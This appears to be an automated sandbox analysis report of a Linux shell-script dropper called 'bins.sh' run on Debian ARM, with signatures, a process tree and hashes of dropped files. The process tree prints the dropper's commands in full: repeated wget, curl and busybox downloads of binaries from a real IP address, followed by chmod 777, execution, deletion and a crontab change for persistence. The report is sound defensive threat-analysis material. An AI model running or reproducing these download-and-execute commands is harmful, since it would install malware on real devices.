Analysis

  • max time kernel
    42s
  • max time network
    51s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31/10/2024, 18:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241031-ws6bbstlfq
  • SHA256 baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:659
        • /usr/bin/wget
          wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:765
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Writes file to tmp directory
          PID:766
        • /bin/chmod
          chmod 777 tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • File and Directory Permissions Modification
          PID:767
        • /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          ./tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Executes dropped EXE
          PID:768
        • /bin/rm
          rm tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
            PID:770
          • /usr/bin/wget
            wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Writes file to tmp directory
            PID:771
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:772
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Writes file to tmp directory
            PID:773
          • /bin/chmod
            chmod 777 IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • File and Directory Permissions Modification
            PID:774
          • /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            ./IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Executes dropped EXE
            PID:775
          • /bin/rm
            rm IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
              PID:778
            • /usr/bin/wget
              wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Writes file to tmp directory
              PID:779
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:780
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Writes file to tmp directory
              PID:781
            • /bin/chmod
              chmod 777 eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • File and Directory Permissions Modification
              PID:785
            • /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              ./eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Executes dropped EXE
              PID:786
            • /bin/rm
              rm eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
                PID:788
              • /usr/bin/wget
                wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Writes file to tmp directory
                PID:789
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:790
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/chmod
                chmod 777 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • File and Directory Permissions Modification
                PID:794
              • /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                ./7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:795
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:797
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:798
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:799
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:800
                    • /bin/rm
                      rm 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                      2⤵
                        PID:802
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                        2⤵
                          PID:806
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                          2⤵
                          • Checks CPU configuration
                          PID:807
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                          2⤵
                          • Writes file to tmp directory
                          PID:808
                        • /bin/chmod
                          chmod 777 OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                          2⤵
                          • File and Directory Permissions Modification
                          PID:809
                        • /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                          ./OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                          2⤵
                          • Executes dropped EXE
                          PID:810
                        • /bin/rm
                          rm OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                          2⤵
                            PID:812
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                            2⤵
                              PID:813
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                              2⤵
                              • Checks CPU configuration
                              PID:814
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                              2⤵
                              • Writes file to tmp directory
                              PID:815
                            • /bin/chmod
                              chmod 777 zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                              2⤵
                              • File and Directory Permissions Modification
                              PID:816
                            • /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                              ./zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                              2⤵
                              • Executes dropped EXE
                              PID:817
                            • /bin/rm
                              rm zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                              2⤵
                                PID:819
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                2⤵
                                • System Network Configuration Discovery
                                PID:820
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                2⤵
                                • Checks CPU configuration
                                • System Network Configuration Discovery
                                PID:821
                              • /bin/busybox
                                /bin/busybox wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:822
                              • /bin/chmod
                                chmod 777 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                2⤵
                                • File and Directory Permissions Modification
                                PID:823
                              • /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                ./ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                2⤵
                                • Executes dropped EXE
                                • System Network Configuration Discovery
                                PID:824
                              • /bin/rm
                                rm ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                2⤵
                                • System Network Configuration Discovery
                                PID:825
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                2⤵
                                  PID:826
                                • /usr/bin/curl
                                  curl -O http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  PID:827
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:828
                                • /bin/chmod
                                  chmod 777 KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:829
                                • /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                  ./KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                  2⤵
                                  • Executes dropped EXE
                                  PID:830
                                • /bin/rm
                                  rm KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                  2⤵
                                    PID:832
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                    2⤵
                                      PID:833
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:834
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:835
                                    • /bin/chmod
                                      chmod 777 PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:836
                                    • /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                      ./PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                      2⤵
                                      • Executes dropped EXE
                                      PID:837
                                    • /bin/rm
                                      rm PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                      2⤵
                                        PID:839
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                        2⤵
                                          PID:840
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          PID:841
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:842
                                        • /bin/chmod
                                          chmod 777 OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:843
                                        • /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                          ./OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                          2⤵
                                          • Executes dropped EXE
                                          PID:844
                                        • /bin/rm
                                          rm OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                          2⤵
                                            PID:845
                                          • /usr/bin/wget
                                            wget http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                            2⤵
                                              PID:846
                                            • /usr/bin/curl
                                              curl -O http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              PID:847
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:848
                                            • /bin/chmod
                                              chmod 777 FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:851
                                            • /tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                              ./FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                              2⤵
                                              • Executes dropped EXE
                                              PID:852
                                            • /bin/rm
                                              rm FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                              2⤵
                                                PID:854
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/ukCxyo9fEPuo5XqcvU7Er8CjOVv98wwGsw
                                                2⤵
                                                  PID:855

                                              Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs

                                                    • Path /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                                                    • Size 100KB
                                                    • SHA256 d52f8bcb15a590aa5624c446091f1cd0705b68e4647debaeecf8cfa1fe425bd2
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk

                                                    • Path /tmp/FPZZme5q6oH8JjnAv6sc7WUuAUyKFtxIYk
                                                    • Size 88KB
                                                    • SHA256 a585eff62bec554d3d7f23aaf9b298a15eb328e8968352339db915ef427f27bd
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR

                                                    • Path /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
                                                    • Size 84KB
                                                    • SHA256 aaf14287d7a971d4541527262e85e5930bbb7f506cff4808d712843be9f05dae
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd

                                                    • Path /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                                    • Size 129KB
                                                    • SHA256 b62a7cb65dda1cb1ae995b13b62d20289f43b7bc560211484cfdc98c0d9b5f12
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN

                                                    • Path /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                                    • Size 158KB
                                                    • SHA256 f09f8db2883da603f963189ef3b8185b179832de8b2e526ef63fe8b96847cc7b
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb

                                                    • Path /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                                                    • Size 129KB
                                                    • SHA256 ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13

                                                    • Path /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                                    • Size 93KB
                                                    • SHA256 24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ

                                                    • Path /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                                    • Size 122KB
                                                    • SHA256 b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj

                                                    • Path /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
                                                    • Size 80KB
                                                    • SHA256 100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe

                                                    • Path /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
                                                    • Size 95KB
                                                    • SHA256 adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV

                                                    • Path /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                                                    • Size 101KB
                                                    • SHA256 617734b61c7e230a72fba8cb8b361bda96cc2d8f40ee358c44a60f1d9b48ab07
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    tmp.NnUaM2

                                                    • Path /var/spool/cron/crontabs/tmp.NnUaM2
                                                    • Size 210B
                                                    • SHA256 dd6d60b521ec564efaae7a237011a2d65753c911d665ea1b4b3f7552bf80d010
                                                    • MD5 SHA1 SHA512